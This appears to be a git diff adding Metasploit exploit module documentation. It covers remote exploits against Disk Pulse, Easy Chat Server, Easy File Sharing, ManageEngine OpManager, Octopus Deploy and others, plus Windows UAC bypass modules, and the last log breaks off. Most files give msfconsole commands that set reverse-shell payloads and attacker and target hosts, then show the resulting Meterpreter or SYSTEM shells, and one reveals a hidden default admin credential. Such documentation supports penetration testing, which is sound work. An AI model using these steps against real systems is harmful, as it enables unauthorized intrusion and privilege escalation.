--- /dev/null
+++ b/documentation/modules/exploit/windows/http/disk_pulse_enterprise_get.md
@@ -0,0 +1,55 @@
+## Vulnerable Application
+
+  Tested on Windows 7 x64 and x86.
+  
+  Install the application from the link below and enable the web server by going to Options -> Server -> Enable Web Server on Port.
+  
+  [Disk Pulse Enterprise v 9.9.16](https://www.exploit-db.com/apps/45ce22525c87c0762f6e467db6ddfcbc-diskpulseent_setup_v9.9.16.exe)
+
+## Verification Steps
+
+  1. Install the application and set the option above to enable the web server
+  2. Start msfconsole
+  3. Do: ```use exploit/windows/http/disk_pulse_enterprise_get```
+  5. Set options and payload
+  6. Do: ```run```
+  7. You should get a shell.
+
+## Options
+
+  **RHOST**
+
+  IP address of the remote host running the server.
+  
+  **RPORT**
+  
+  Port that the web server is running on.  Default is 80 but it can be changed when setting up the program or in the options.
+
+## Scenarios
+
+  To obtain a shell:
+
+  ```
+msf > use exploit/windows/http/disk_pulse_enterprise_get
+msf exploit(disk_pulse_enterprise_get) > set payload windows/shell_reverse_tcp
+payload => windows/shell_reverse_tcp
+msf exploit(disk_pulse_enterprise_get) > set RHOST x.x.x.x
+RHOST => x.x.x.x
+msf exploit(disk_pulse_enterprise_get) > set LHOST y.y.y.y
+LHOST => y.y.y.y
+msf exploit(disk_pulse_enterprise_get) > set LPORT 1234
+LPORT => 1234
+msf exploit(disk_pulse_enterprise_get) > set RPORT 8080
+RPORT => 8080
+msf exploit(disk_pulse_enterprise_get) > exploit
+
+[*] Started reverse TCP handler on y.y.y.y:1234
+[*] Generating exploit...
+[*] Sending exploit...
+[*] Command shell session 1 opened (y.y.y.y:1234 -> x.x.x.x:64567) at 2017-09-14 10:52:06 -0500
+
+Microsoft Windows [Version 6.1.7600]
+Copyright (c) 2009 Microsoft Corporation.  All rights reserved.
+
+C:\Windows\system32>
+  ```
\ No newline at end of file
diff --git a/documentation/modules/exploit/windows/http/easychatserver_seh.md b/documentation/modules/exploit/windows/http/easychatserver_seh.md
new file mode 100644
index 0000000000..915985d6e7
--- /dev/null
+++ b/documentation/modules/exploit/windows/http/easychatserver_seh.md
@@ -0,0 +1,53 @@
+## Description
+
+This module exploits a vulnerability in the EFS Easy Chat Server application versions 2 through 3.1. The username parameter in the Registration page 'register.php', which is prone to a stack overflow vulnerability.
+
+This module allows a remote attacker to execute a payload under the context of the user running the Easy Chat Server application
+
+## Vulnerable Application
+
+[Easy Chat Server](http://echatserver.com/) Easy Chat Server is an easy, fast and affordable way to host and manage real-time communication software.
+
+This module has been tested successfully on
+
+ * Easy Chat Server 3.1 on Windows XP En SP3
+
+Installers:
+
+[EFS Easy Chat Server Installers](http://echatserver.com/ecssetup.exe)
+
+## Verification Steps
+
+ 1. Start `msfconsole`
+ 2. Do: `use exploits/windows/http/easychatserver_seh`
+ 3. Do: `set rhosts [IP]`
+ 4. Do: `exploit`
+ 5. You should get your payload executed
+
+## Scenarios
+
+```
+marco@kali:~$ msfconsole -q
+msf > use exploit/windows/http/easychatserver_seh
+msf exploit(easychatserver_seh) > set RHOST 192.168.56.101
+RHOST => 192.168.56.101
+msf exploit(easychatserver_seh) > exploit
+
+[*] Started reverse TCP handler on 192.168.56.1:4444
+[*] Sending stage (957487 bytes) to 192.168.56.101
+[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.101:1037) at 2017-06-20 00:43:51 +0200
+
+meterpreter > sysinfo
+Computer    	: MM-8B040C5B05D9
+OS          	: Windows XP (Build 2600, Service Pack 3).
+Architecture	: x86
+System Language : en_US
+Domain      	: WORKGROUP
+Logged On Users : 2
+Meterpreter 	: x86/windows
+meterpreter > exit
+[*] Shutting down Meterpreter...
+
+[*] 192.168.56.101 - Meterpreter session 1 closed.  Reason: User exit
+msf exploit(easychatserver_seh) >
+```
diff --git a/documentation/modules/exploit/windows/http/easyfilesharing_post.md b/documentation/modules/exploit/windows/http/easyfilesharing_post.md
new file mode 100644
index 0000000000..92798f84fd
--- /dev/null
+++ b/documentation/modules/exploit/windows/http/easyfilesharing_post.md
@@ -0,0 +1,53 @@
+## Description
+
+This module exploits a vulnerability in the Easy File Sharing Web Server application. It uses an overflow in the Email Post parameter, bypassing DEP via a ROP chain.
+
+This module allows a remote attacker to execute a payload under the context of the user running the Easy File Sharing application
+
+## Vulnerable Application
+
+[Easy File Sharing](http://www.sharing-file.com/) is a file sharing software that allows visitors to upload/download files easily through a Web Browser (IE, Firefox, Chrome etc.).
+
+This module has been tested successfully on
+
+ * Easy File Sharing 7.2 on Windows XP En Sp3
+
+Installers:
+
+[Easy File Sharing Installers](http://www.sharing-file.com/efssetup.exe)
+
+## Verification Steps
+
+ 1. Start `msfconsole`
+ 2. Do: `use exploits/windows/http/easyfilesharing_post`
+ 3. Do: `set rhosts [IP]`
+ 4. Do: `exploit`
+ 5. You should get your payload executed
+
+## Scenarios
+
+```
+root@kali:~$ msfconsole -q
+msf > use exploit/windows/http/easyfilesharing_post
+msf exploit(easyfilesharing_post) > set RHOST 192.168.56.101
+RHOST => 192.168.56.101
+msf exploit(easyfilesharing_post) > exploit
+
+[*] Started reverse TCP handler on 192.168.56.1:4444
+[*] Sending stage (957487 bytes) to 192.168.56.101
+[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.101:1253) at 2017-06-17 22:45:34 +0200
+
+meterpreter > sysinfo
+Computer    	: MM
+OS          	: Windows XP (Build 2600, Service Pack 3).
+Architecture	: x86
+System Language : en_US
+Domain      	: WORKGROUP
+Logged On Users : 2
+Meterpreter 	: x86/windows
+meterpreter > exit
+[*] Shutting down Meterpreter...
+
+[*] 192.168.56.101 - Meterpreter session 1 closed.  Reason: User exit
+msf exploit(easyfilesharing_post) >
+```
diff --git a/documentation/modules/exploit/windows/http/manage_engine_opmanager_rce.md b/documentation/modules/exploit/windows/http/manage_engine_opmanager_rce.md
new file mode 100644
index 0000000000..1505645db5
--- /dev/null
+++ b/documentation/modules/exploit/windows/http/manage_engine_opmanager_rce.md
@@ -0,0 +1,63 @@
+## Description
+
+This module exploits a default credential vulnerability in ManageEngine OpManager, where a
+default hidden account "IntegrationUser" with administrator privileges exists. The account
+has a default password of "plugin" which can not be reset through the user interface. By
+log-in and abusing the default administrator's SQL query functionality, it's possible to
+write a WAR payload to disk and trigger an automatic deployment of this payload.
+
+## Vulnerable Application
+
+[OpManager](https://www.manageengine.com/network-monitoring/) is an application designed
+around "integrated network management".
+
+This module has been verified against the following OpManager versions:
+
+* v11.0
+* v11.4
+* v11.5
+* v11.6
+
+Installers:
+
+* [OpManager Installers](http://archives.manageengine.com/opmanager/)
+
+## Verification Steps
+
+1. Start msfconsole
+1. `use exploit/windows/http/manage_engine_opmanager_rce`
+1. `set RHOST <IP addr of target system running OpManager>`
+1. `exploit`
+1. You should get a working Meterpreter session
+
+## Scenarios
+
+### Targeting Windows Server 2012 running OpManager v11.5
+
+```
+msf > use exploit/windows/http/manage_engine_opmanager_rce 
+msf exploit(manage_engine_opmanager_rce) > set RHOST 10.0.2.12
+RHOST => 10.0.2.12
+msf exploit(manage_engine_opmanager_rce) > exploit
+
+[*] Started reverse TCP handler on 10.0.2.4:4444 
+[*] Access login page
+[*] Location is [ http://10.0.2.12/apiclient/ember/index.jsp;jsessionid=B5903DA9A1DBA5592690EC69AF7FA27D ]
+[*] Following redirection
+[*] Retrieved API key [ 2eb58a9f104f29c8520d23243502cf5b ]
+[*] Executing SQL queries
+[*] Attempting to launch payload in deployed WAR...
+[*] Attempting to launch payload in deployed WAR...
+[*] Attempting to launch payload in deployed WAR...
+[*] Sending stage (49667 bytes) to 10.0.2.12
+[*] Meterpreter session 1 opened (10.0.2.4:4444 -> 10.0.2.12:49496) at 2017-06-20 15:13:50 -0500
+[+] Deleted tomcat//webapps//r63xuE3q1gOAZsCQuJ.war
+[!] This exploit may require manual cleanup of 'tomcat//webapps//r63xuE3q1gOAZsCQuJ' on the target
+
+meterpreter > getuid
+Server username: Administrator
+meterpreter > sysinfo
+Computer    : WIN-SI597APFOFH
+OS          : Windows Server 2008 6.2 (amd64)
+Meterpreter : java/windows
+```
diff --git a/documentation/modules/exploit/windows/http/manageengine_connectionid_write.md b/documentation/modules/exploit/windows/http/manageengine_connectionid_write.md
index 12f4641c6f..5690903d7d 100644
--- a/documentation/modules/exploit/windows/http/manageengine_connectionid_write.md
+++ b/documentation/modules/exploit/windows/http/manageengine_connectionid_write.md
@@ -1,6 +1,7 @@
 ## Description
 
-This module exploits a vulnerability found in ManageEngine Desktop Central 9. When uploading a 7z file, the FileUploadServlet class does not check the user-controlled ConnectionId parameter in the FileUploadServlet class. This allows a remote attacker to inject a null byte at the end of the value to create a malicious file with an arbitrary file type, and then place it under a directory that allows server-side scripts to run, which results in remote code execution under the context of SYSTEM. This exploit was successfully tested on version 9, build 90109 and build 91084.
+This module exploits a vulnerability found in ManageEngine Desktop Central 9. When uploading a 7z file, the FileUploadServlet class does not check the user-controlled ConnectionId parameter in the FileUploadServlet class. This allows a remote attacker to inject a null byte at the end of the value to create a malicious file with an arbitrary file type, and then place it under a directory that allows server-side scripts to run, which results in remote code execution under the context of SYSTEM.
+This exploit was successfully tested on version 9, build 90109 and build 91084.
 
 **NOTE:** By default, some ManageEngine Desktop Central versions run on port 8020, but older ones run on port 8040. Also, using this exploit will leave debugging information produced by FileUploadServlet in file `rdslog0.txt`.
        
@@ -21,7 +22,7 @@ Desktop Central is integrated desktop and mobile device management software that
 3. Do: ```check```
 4. Do: ```run```
 
-## Sample Output
+## Scenarios
 
 ```
 $ msfconsole
diff --git a/documentation/modules/exploit/windows/http/octopusdeploy_deploy.md b/documentation/modules/exploit/windows/http/octopusdeploy_deploy.md
new file mode 100644
index 0000000000..0685069a24
--- /dev/null
+++ b/documentation/modules/exploit/windows/http/octopusdeploy_deploy.md
@@ -0,0 +1,145 @@
+## Vulnerable Application
+
+  [Install Octopus Deploy server](https://octopus.com/docs/getting-started#Gettingstarted-InstalltheOctopusserver)
+  
+  [Create a test user/team](https://octopus.com/docs/administration/managing-users-and-teams) - Team should have "Project contributor" and "Project deployer", or just "System administrator" and add your test user.
+  
+  [Create an API key](https://octopus.com/docs/how-to/how-to-create-an-api-key)
+
+## Verification Steps
+
+  1. Install the application
+  2. Start msfconsole
+  3. Do: ```use exploit/windows/http/octopusdeploy_deploy```
+  4. Do: set ```PATH```, ```RHOST```, ```RPORT```, and ```SSL``` if needed
+  5. Do: set ```STEPNAME``` if desired
+  6. Do: set ```USERNAME``` and ```PASSWORD``` or just ```APIKEY```
+  7. Do: ```run```
+  8. You should get a shell.
+
+## Options
+
+  **APIKEY**
+
+  API key, which can be generated within the Octopus Deploy application. Can be used instead of a username/password combination.
+
+  **USERNAME**
+
+  Username of the Octopus Deploy user.
+
+  **PASSWORD**
+
+  Password of the Octopus Deploy user.
+
+  **PATH**
+
+  Path to the Octopus Deploy instance. For example, if you sign in to "https://example.com/octopus/app", the value should be "/octopus".
+
+  **STEPNAME**
+
+  Name of the step to be added to a deployment. This may be visible in the application for a short period of time. A random value will be generated if no value is provided.
+
+  **SSL**
+
+  Enables or disables SSL. Octopus Deploy server can be configured to listen for HTTP or HTTPS traffic.
+## Scenarios
+
+### Octopus Deploy Server 3.16.0
+
+  Getting a privileged shell on Octopus Deploy server using administrative credentials.
+
+  ```
+  msf > use exploit/windows/http/octopusdeploy_deploy
+msf exploit(octopusdeploy_deploy) > set PATH /octoADTest
+PATH => /octoADTest
+msf exploit(octopusdeploy_deploy) > set USERNAME ODUser
+USERNAME => ODUser
+msf exploit(octopusdeploy_deploy) > set PASSWORD Password1
+PASSWORD => Password1
+msf exploit(octopusdeploy_deploy) > set RHOST 10.0.0.12
+RHOST => 10.0.0.12
+msf exploit(octopusdeploy_deploy) > set RPORT 80
+RPORT => 80
+msf exploit(octopusdeploy_deploy) > set payload windows/powershell_reverse_tcp
+payload => windows/powershell_reverse_tcp
+msf exploit(octopusdeploy_deploy) > set LHOST 10.0.0.7
+LHOST => 10.0.0.7
+msf exploit(octopusdeploy_deploy) > run
+
+[*] Started reverse SSL handler on 10.0.0.7:4444 
+[*] Getting available projects
+[*] Using project TestProject2
+[*] Getting steps to TestProject2
+[*] Adding step r4XAJc to TestProject2
+[*] Getting available channels
+[*] Using channel Default
+[*] Getting next version
+[*] Using version 0.0.2
+[*] Creating release
+[*] Release Releases-79 created
+[*] Deploying TestProject2 version 0.0.2 to TestEnv
+[*] Getting updated steps to TestProject2
+[*] Deleting step r4XAJc from TestProject2
+[*] Step r4XAJc deleted
+[*] Powershell session session 1 opened (10.0.0.7:4444 -> 10.0.0.12:59346) at 2017-05-15 19:54:01 -0500
+
+Windows PowerShell running as user WIN-OL1HR5KBTPD$ on WIN-OL1HR5KBTPD
+Copyright (C) 2015 Microsoft Corporation. All rights reserved.
+
+PS C:\Octopus\ADTest\Work\20170516025358-22>whoami
+nt authority\system
+PS C:\Octopus\ADTest\Work\20170516025358-22> exit
+
+[*] 10.0.0.12 - Powershell session session 1 closed.  Reason: Died from Errno::ECONNRESET
+
+msf exploit(octopusdeploy_deploy) >
+  ```
+
+  Getting a privileged shell on Octopus Deploy server using a sufficiently privileged API key.
+
+  ```
+  msf > use exploit/windows/http/octopusdeploy_deploy
+msf exploit(octopusdeploy_deploy) > set PATH /octoADTest
+PATH => /octoADTest
+msf exploit(octopusdeploy_deploy) > set RHOST 10.0.0.12
+RHOST => 10.0.0.12
+msf exploit(octopusdeploy_deploy) > set RPORT 80
+RPORT => 80
+msf exploit(octopusdeploy_deploy) > set payload windows/powershell_reverse_tcp
+payload => windows/powershell_reverse_tcp
+msf exploit(octopusdeploy_deploy) > set LHOST 10.0.0.7
+LHOST => 10.0.0.7
+msf exploit(octopusdeploy_deploy) > set APIKEY API-FCIQ773M43RKNC4I9KZHQTABC
+APIKEY => API-FCIQ773M43RKNC4I9KZHQTABC
+msf exploit(octopusdeploy_deploy) > set STEPNAME shell
+STEPNAME => shell
+msf exploit(octopusdeploy_deploy) > run
+
+[*] Started reverse SSL handler on 10.0.0.7:4444 
+[*] Getting available projects
+[*] Using project TestProject2
+[*] Getting steps to TestProject2
+[*] Adding step shell to TestProject2
+[*] Getting available channels
+[*] Using channel Default
+[*] Getting next version
+[*] Using version 0.0.3
+[*] Creating release
+[*] Release Releases-80 created
+[*] Deploying TestProject2 version 0.0.3 to TestEnv
+[*] Getting updated steps to TestProject2
+[*] Deleting step shell from TestProject2
+[*] Step shell deleted
+[*] Powershell session session 1 opened (10.0.0.7:4444 -> 10.0.0.12:59373) at 2017-05-15 19:59:55 -0500
+
+Windows PowerShell running as user WIN-OL1HR5KBTPD$ on WIN-OL1HR5KBTPD
+Copyright (C) 2015 Microsoft Corporation. All rights reserved.
+
+PS C:\Octopus\ADTest\Work\20170516025952-24>whoami
+nt authority\system
+PS C:\Octopus\ADTest\Work\20170516025952-24> exit
+
+[*] 10.0.0.12 - Powershell session session 1 closed.  Reason: Died from Errno::ECONNRESET
+
+msf exploit(octopusdeploy_deploy) > 
+  ```
\ No newline at end of file
diff --git a/documentation/modules/exploit/windows/http/serviio_checkstreamurl_cmd_exec.md b/documentation/modules/exploit/windows/http/serviio_checkstreamurl_cmd_exec.md
index 9dedf7b430..b170d08d68 100644
--- a/documentation/modules/exploit/windows/http/serviio_checkstreamurl_cmd_exec.md
+++ b/documentation/modules/exploit/windows/http/serviio_checkstreamurl_cmd_exec.md
@@ -30,7 +30,7 @@
   4. Do: `run`
   5. You should get a session
 
-## Sample Output
+## Scenarios
 
   ```
   msf > use exploit/windows/http/serviio_checkstreamurl_cmd_exec 
diff --git a/documentation/modules/exploit/windows/iis/iis_webdav_upload_asp.md b/documentation/modules/exploit/windows/iis/iis_webdav_upload_asp.md
index a90093995c..cc328a60ca 100755
--- a/documentation/modules/exploit/windows/iis/iis_webdav_upload_asp.md
+++ b/documentation/modules/exploit/windows/iis/iis_webdav_upload_asp.md
@@ -21,7 +21,7 @@ Web Distributed Authoring and Versioning (WebDAV) is an extension of the Hyperte
 3. Do: ```set PATH / [PATH]```
 4. Do: ```run```
 
-## Sample Output
+## Scenarios
 
 ```
 msf > use exploit/windows/iis/iis_webdav_upload_asp
diff --git a/documentation/modules/exploit/windows/local/bypassuac_comhijack.md b/documentation/modules/exploit/windows/local/bypassuac_comhijack.md
new file mode 100644
index 0000000000..03a992a583
--- /dev/null
+++ b/documentation/modules/exploit/windows/local/bypassuac_comhijack.md
@@ -0,0 +1,115 @@
+## Intro
+
+This module will bypass UAC on Windows 7 through to 10 RS3 by hijacking a COM Class ID
+that is located in the current user hive. This key contains a reference to a DLL that
+contains a chosen payload. Multiple COM vectors are defined in this module and one is
+chosen at random at runtime.
+
+The module modifies the registry in order for this exploit to work. The modification is
+reverted once the exploitation attempt has finished.
+
+This module requires that the payload architecture matches the target operating system
+architecture. This is due to the fact that the underlying binaries that are invoked
+match the system architecture.
+
+If a custom DLL is to be used with `EXE::Custom`, that DLL must match the system
+architecture, and should call `ExitProcess()` after starting the payload in a
+different process.
+
+## Usage
+
+1. Create a session on the target system under the context of a local administrative user.
+1. Begin interacting with the module: `use exploit/windows/local/bypassuac_comhijack`.
+1. Set the `PAYLOAD` and configure it correctly, making sure the architecture is correct.
+1. If an existing handler is configured to receive the elevated session, then the module's
+   handler should be disabled: `set DisablePayloadHandler true`.
+1. Make sure that the `SESSION` value is set to the existing session identifier.
+1. Invoke the module: `run`.
+
+## Scenario
+
+```
+msf exploit(bypassuac_comhijack) > sessions
+
+Active sessions
+===============
+
+  Id  Type                     Information                           Connection
+  --  ----                     -----------                           ----------
+  1   meterpreter x64/windows  DESKTOP-5A73R51\oj @ DESKTOP-5A73R51  xxx.xx.255.1:8443 -> xxx.xx.255.159:51474 (xxx.xx.255.159)
+
+msf exploit(bypassuac_comhijack) > sessions -1
+[*] Starting interaction with 1...
+
+meterpreter > sysinfo
+Computer        : DESKTOP-5A73R51
+OS              : Windows 10 (Build 14393).
+Architecture    : x64
+System Language : en_AU
+Domain          : WORKGROUP
+Logged On Users : 2
+Meterpreter     : x64/windows
+
+meterpreter > getsystem
+[-] priv_elevate_getsystem: Operation failed: The environment is incorrect. The following was attempted:
+[-] Named Pipe Impersonation (In Memory/Admin)
+[-] Named Pipe Impersonation (Dropper/Admin)
+[-] Token Duplication (In Memory/Admin)
+meterpreter > background
+[*] Backgrounding session 1...
+msf exploit(bypassuac_comhijack) > options
+
+Module options (exploit/windows/local/bypassuac_comhijack):
+
+   Name     Current Setting  Required  Description
+   ----     ---------------  --------  -----------
+   SESSION  1                yes       The session to run this module on.
+
+
+Payload options (windows/x64/meterpreter/reverse_tcp):
+
+   Name      Current Setting  Required  Description
+   ----      ---------------  --------  -----------
+   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
+   LHOST     xxx.xx.255.1     yes       The listen address
+   LPORT     8443             yes       The listen port
+
+
+Exploit target:
+
+   Id  Name
+   --  ----
+   0   Automatic
+
+
+msf exploit(bypassuac_comhijack) > run
+
+[*] [2017.08.16-12:58:31] UAC is Enabled, checking level...
+[+] [2017.08.16-12:58:31] Part of Administrators group! Continuing...
+[+] [2017.08.16-12:58:32] UAC is set to Default
+[+] [2017.08.16-12:58:32] BypassUAC can bypass this setting, continuing...
+[*] [2017.08.16-12:58:33] Targeting Event Viewer via HKCU\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931} ...
+[*] [2017.08.16-12:58:33] Uploading payload to C:\Users\oj\AppData\Local\Temp\DJAyEYXA.dll ...
+[*] [2017.08.16-12:58:33] Executing high integrity process ...
+[*] [2017.08.16-12:58:34] Sending stage (1188415 bytes) to xxx.xx.255.159
+[*] Meterpreter session 2 opened (xxx.xx.255.1:8443 -> xxx.xx.255.159:51480) at 2017-08-16 12:58:35 +1000
+[*] [2017.08.16-12:58:38] Cleaining up registry ...
+[!] [2017.08.16-12:58:39] This exploit may require manual cleanup of 'C:\Users\oj\AppData\Local\Temp\DJAyEYXA.dll' on the target
+msf exploit(bypassuac_comhijack) > sessions
+
+Active sessions
+===============
+
+  Id  Type                     Information                           Connection
+  --  ----                     -----------                           ----------
+  1   meterpreter x64/windows  DESKTOP-5A73R51\oj @ DESKTOP-5A73R51  xxx.xx.255.1:8443 -> xxx.xx.255.159:51474 (xxx.xx.255.159)
+  2   meterpreter x64/windows  DESKTOP-5A73R51\oj @ DESKTOP-5A73R51  xxx.xx.255.1:8443 -> xxx.xx.255.159:51480 (xxx.xx.255.159)
+
+msf exploit(bypassuac_comhijack) > sessions -1
+[*] Starting interaction with 2...
+
+meterpreter > getsystem
+...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
+meterpreter > getuid
+Server username: NT AUTHORITY\SYSTEM
+```
diff --git a/documentation/modules/exploit/windows/local/bypassuac_fodhelper.md b/documentation/modules/exploit/windows/local/bypassuac_fodhelper.md
new file mode 100644
index 0000000000..95e24cbfba
--- /dev/null
+++ b/documentation/modules/exploit/windows/local/bypassuac_fodhelper.md
@@ -0,0 +1,91 @@
+## Intro
+
+  This module will bypass Windows 10 UAC by hijacking a special key in the Registry under
+  the current user hive, and inserting a custom command that will get invoked when
+  the Windows fodhelper.exe application is launched. It will spawn a second shell that has the UAC
+  flag turned off.
+
+  This module modifies a registry key, but cleans up the key once the payload has
+  been invoked.
+
+  The module does not require the architecture of the payload to match the OS. If
+  specifying EXE::Custom your DLL should call ExitProcess() after starting your
+  payload in a separate process.
+
+## Usage
+
+  You'll first need to obtain a session on the target system.  
+  Next, once the module is loaded, one simply needs to set the ```payload``` and ```session``` options.
+  The module use an hardcoded timeout of 5 seconds during which it expects fodhelper.exe to be launched on the target system.
+  On slower system this may be too short, resulting in no session being created. In this case disable the automatic payload handler (`set DISABLEPAYLOADHANDLER true`)
+  and manually create a job handler corresponding to the payload.
+  
+
+##Scenario
+
+```
+msf > 
+[*] Sending stage (1189423 bytes) to 192.168.50.4
+[*] Meterpreter session 11 opened (192.168.50.1:4444 -> 192.168.50.4:1654) at 2017-05-22 19:10:43 +0100
+
+msf > sessions -i 11
+[*] Starting interaction with 11...
+
+meterpreter > shell
+Process 9496 created.
+Channel 1 created.
+Microsoft Windows [Version 10.0.14393]
+(c) 2016 Microsoft Corporation. All rights reserved.
+
+C:\Users\sasha\Desktop>whoami /all | findstr /C:"Mandatory Label"
+whoami /all | findstr /C:"Mandatory Label"
+Mandatory Label\Medium Mandatory Level                        Label            S-1-16-8192                                                                                     
+
+C:\Users\sasha\Desktop>exit
+exit
+meterpreter > 
+Background session 11? [y/N]  
+msf > use exploit/windows/local/bypassuac_fodhelper 
+msf exploit(bypassuac_fodhelper) > set SESSION 11
+SESSION => 11
+msf exploit(bypassuac_fodhelper) > show targets
+
+Exploit targets:
+
+   Id  Name
+   --  ----
+   0   Windows x86
+   1   Windows x64
+
+
+msf exploit(bypassuac_fodhelper) > set target 0
+target => 0
+msf exploit(bypassuac_fodhelper) > set payload windows/meterpreter/reverse_tcp
+payload => windows/meterpreter/reverse_tcp
+msf exploit(bypassuac_fodhelper) > run
+
+[*] Started reverse TCP handler on 192.168.50.1:4445 
+[*] UAC is Enabled, checking level...
+[+] Part of Administrators group! Continuing...
+[+] UAC is set to Default
+[+] BypassUAC can bypass this setting, continuing...
+[*] Configuring payload and stager registry keys ...
+[*] Executing payload: C:\WINDOWS\system32\cmd.exe /c C:\WINDOWS\System32\fodhelper.exe
+[*] Sending stage (957487 bytes) to 192.168.50.4
+[*] Meterpreter session 12 opened (192.168.50.1:4445 -> 192.168.50.4:1655) at 2017-05-22 19:12:03 +0100
+[*] Cleaining up registry keys ...
+
+meterpreter > shell
+Process 4076 created.
+Channel 1 created.
+Microsoft Windows [Version 10.0.14393]
+(c) 2016 Microsoft Corporation. All rights reserved.
+
+C:\WINDOWS\system32>whoami /all | findstr /C:"Mandatory Label"
+whoami /all | findstr /C:"Mandatory Label"
+ERROR: Unable to get user claims information.
+Mandatory Label\High Mandatory Level                          Label            S-1-16-12288                                                                                                 
+
+C:\WINDOWS\system32>
+
+```
diff --git a/documentation/modules/exploit/windows/local/bypassuac_injection_winsxs.md b/documentation/modules/exploit/windows/local/bypassuac_injection_winsxs.md
new file mode 100644
index 0000000000..3f6ba9243f
--- /dev/null
+++ b/documentation/modules/exploit/windows/local/bypassuac_injection_winsxs.md
@@ -0,0 +1,295 @@
+
+
+## Description
+
+This module adds a bypass for UAC that relies on DLL hijacking of the dccw.exe process.  It has been tested on and 
+supports both x86 and x64 releases of Windows 8, 8.1, 10_1511, 10_1607, and 10_1703.  It does not work with any versions of Windows 7.
+
+### Vulnerable application setup
+Not Applicable; works on stock Windows releases.
+
+### Running Example:
+```
+> use exploit/multi/handler
+> set payload windows/meterpreter/reverse_tcp
+payload => windows/meterpreter/reverse_tcp
+> set LHOST <MSF_IP>
+LHOST => <MSF_IP>
+>  set LPORT 30009
+LPORT => 30009
+>  show options
+
+Module options (exploit/multi/handler):
+
+   Name  Current Setting  Required  Description
+   ----  ---------------  --------  -----------
+
+
+Payload options (windows/meterpreter/reverse_tcp):
+
+   Name      Current Setting  Required  Description
+   ----      ---------------  --------  -----------
+   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
+   LHOST     <MSF_IP>         yes       The listen address
+   LPORT     30009            yes       The listen port
+
+
+Exploit target:
+
+   Id  Name
+   --  ----
+   0   Wildcard Target
+
+
+> run -z
+[*] Started reverse TCP handler on <MSF_IP>:30009 
+[*] Starting the payload handler...
+[*] Sending stage (957487 bytes) to <Win10x86_IP>
+[*] Meterpreter session 1 opened (<MSF_IP>:30009 -> <Win10x86_IP>:50041) at 2017-10-03 12:17:42 -0700
+[*] Session 1 created in the background.
+> sessions -C sysinfo
+[*] Running 'sysinfo' on meterpreter session 1 (<Win10x86_IP>)
+Computer        : WIN10X86-1511
+OS              : Windows 10 (Build 10586).
+Architecture    : x86
+System Language : en_US
+Domain          : WORKGROUP
+Logged On Users : 4
+Meterpreter     : x86/windows
+> sessions -C ifconfig
+[*] Running 'ifconfig' on meterpreter session 1 (<Win10x86_IP>)
+
+Interface  1
+============
+Name         : Software Loopback Interface 1
+Hardware MAC : 00:00:00:00:00:00
+MTU          : 4294967295
+IPv4 Address : 127.0.0.1
+IPv4 Netmask : 255.0.0.0
+IPv6 Address : ::1
+IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff
+
+
+Interface  2
+============
+Name         : Teredo Tunneling Pseudo-Interface
+Hardware MAC : 00:00:00:00:00:00
+MTU          : 1280
+IPv6 Address : 2001:0:4137:9e76:38b8:1e49:3f57:795f
+IPv6 Netmask : ffff:ffff:ffff:ffff::
+IPv6 Address : fe80::38b8:1e49:3f57:795f
+IPv6 Netmask : ffff:ffff:ffff:ffff::
+
+
+Interface  3
+============
+Name         : Intel(R) 82574L Gigabit Network Connection
+Hardware MAC : 00:0c:29:73:25:67
+MTU          : 1500
+IPv4 Address : <Win10x86_IP>
+IPv4 Netmask : 255.255.255.0
+IPv6 Address : fe80::cc97:6548:c10a:f034
+IPv6 Netmask : ffff:ffff:ffff:ffff::
+
+
+Interface  6
+============
+Name         : Microsoft ISATAP Adapter #2
+Hardware MAC : 00:00:00:00:00:00
+MTU          : 1280
+IPv6 Address : fe80::5efe:c0a8:86a0
+IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff
+
+> sessions -l
+
+Active sessions
+===============
+
+  Id  Type                     Information                            Connection
+  --  ----                     -----------                            ----------
+  1   meterpreter x86/windows  WIN10X86-1511\msfuser @ WIN10X86-1511  <MSF_IP>:30009 -> <Win10x86_IP>:50041 (<Win10x86_IP>)
+
+> use exploit/windows/local/bypassuac_injection_winsxs
+> set session 1
+session => 1
+> set target 0
+target => 0
+> set payload windows/meterpreter/reverse_tcp
+payload => windows/meterpreter/reverse_tcp
+> set lhost <MSF_IP>
+lhost => <MSF_IP>
+> set lport 30010
+lport => 30010
+> set verbose true
+verbose => true
+> show options
+
+Module options (exploit/windows/local/bypassuac_injection_winsxs):
+
+   Name     Current Setting  Required  Description
+   ----     ---------------  --------  -----------
+   SESSION  1                yes       The session to run this module on.
+
+
+Payload options (windows/meterpreter/reverse_tcp):
+
+   Name      Current Setting  Required  Description
+   ----      ---------------  --------  -----------
+   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
+   LHOST     <MSF_IP>         yes       The listen address
+   LPORT     30010            yes       The listen port
+
+
+Exploit target:
+
+   Id  Name
+   --  ----
+   0   Windows x86
+
+
+> run -j
+[*] Exploit running as background job.
+[*] resource (/home/msfuser/rapid7/test_artifacts/test_rc/windows-meterpreter-reverse_tcp-192x168x134x160-30009.rc)> Ruby Code (13 bytes)
+[*] Started reverse TCP handler on <MSF_IP>:30010 
+[*] resource (/home/msfuser/rapid7/test_artifacts/test_rc/windows-meterpreter-reverse_tcp-192x168x134x160-30009.rc)> Ruby Code (12 bytes)
+[+] Windows 10 (Build 10586). may be vulnerable.
+[*] UAC is Enabled, checking level...
+[*] Checking admin status...
+[+] Part of Administrators group! Continuing...
+[+] UAC is set to Default
+[+] BypassUAC can bypass this setting, continuing...
+[*] Creating temporary folders...
+[*] Uploading the Payload DLL to the filesystem...
+[*] Payload DLL 18944 bytes long being uploaded...
+[*] Spawning process with Windows Publisher Certificate, to inject into...
+[*] Injecting  into process ID 3476
+[*] Opening process 3476
+[*] Injecting struct into 3476
+[*] Executing payload
+[+] Successfully injected payload in to process: 3476
+[*] Sending stage (957487 bytes) to <Win10x86_IP>
+[*] Meterpreter session 2 opened (<MSF_IP>:30010 -> <Win10x86_IP>:50078) at 2017-10-03 12:19:03 -0700
+[-] Error => Rex::Post::Meterpreter::RequestError - stdapi_fs_stat: Operation failed: The system cannot find the path specified.
